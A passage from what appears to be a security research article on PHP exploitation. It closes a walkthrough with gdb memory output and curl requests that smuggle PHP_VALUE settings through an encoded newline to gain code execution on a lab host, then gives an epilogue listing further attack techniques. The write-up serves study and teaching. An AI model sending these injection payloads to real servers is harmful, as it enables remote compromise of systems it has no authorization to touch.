text
stringlengths
0
1.99k
=> [2] the structure *BEFORE* the write
(gdb) p *request.env.data
$1 = {
pos = 0x55a371abf731,
end = 0x55a371ac06b8,
next = 0x55a371abe5b0,
data = ""
}
|-------------------------------- [ next ] -------------------------------|
=> [3] let's write!
(gdb) next
[...]
|-------------------------------- [ next ] -------------------------------|
=> [4] the `pos` *AFTER* the write
(gdb) p *request.env.data.pos
$2 = 0x55a371abf700
|-------------------------------- [ next ] -------------------------------|
=> [5] let's kick off the real payload
$ curl "http://orange.local/index.php/PHP_VALUE%0Aerror_log=/tmp/a;;;;[..]"
$ curl "http://orange.local/index.php/PHP_VALUE%0Ainclude_path=/tmp;;;[..]"
$ curl "http://orange.local/index.php/PHP_VALUE%0Aauto_prepend_file=a;[..]"
[...]
$ curl "http://orange.local/index.php?a=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
+-------------------------------------------------------------------------+
--[ Epilogue
Honestly, tackling such a huge topic was incredibly challenging -
especially deciding what to cover and worrying whether I'd missed even
cooler stories. Every time I revisited a finished section, I still felt
something was missing, and ended up rewriting the whole thing from scratch
again. The entire process involved countless revisions, and there were so
many moments I nearly gave up - but thankfully, I made it through in the
end! I'd also like to give special thanks to Henry, NiNi, and Raptor for
giving numerous awesome suggestions to help polish this article - thank
you so much!
Though this article revisits tons of seemingly old techniques, I think
it's meaningful - they may be old, but they're absolute gold (and still
usable today)! It's just like you can't avoid studying the Vudo Tricks
[84] while learning Doug Lea's malloc, or revisiting the textbook-level
Smashing The Stack [85]. These techniques became legendary exactly because
the ideas behind them were way ahead of their time, inspiring generations
of hackers along the way!
Of course, I believe there must be even better ways to explore this topic.
Everyone brings their own life experiences, and writing with complete
objectivity just isn't possible. But within the limited time and space,
I've tried my best to capture my own "flavor," and highlight the stories
that I believe deserve to be passed on!
----[ > Honorable Mention
Of course, there are still lots of brilliant PHP techniques that I
couldn't squeeze into this article, so let me at least quickly give them a
*shout-out* here!
- I absolutely love the "PHP Security Advent Calendar" [86] released
by RipsTech - every single challenge in there is pure gold!
- Exploiting GMP deserialization type confusion [87] to modify
script-level variables through `objects_store` is, in my opinion, a
perfect blend of the Web and Binary worlds!
- Leveraging type confusion in `phpinfo()` to steal SSL private keys
[88] is quite fun.
- Exploiting inconsistent UTF-8 length counting [89] is definitely an
eye-opening technique!
- Attacking the MySQL client-side is another fascinating approach -
such as triggering memory corruption [90] via a malicious MySQL
server, or leveraging PHAR deserialization [91] again.
- All those creative tricks for restricted environment jailbreaks,
like abusing `ini_set()` [92] or `imap_open()` [93].
- And of course, so much more...
----[ > Hats off to the CTF Community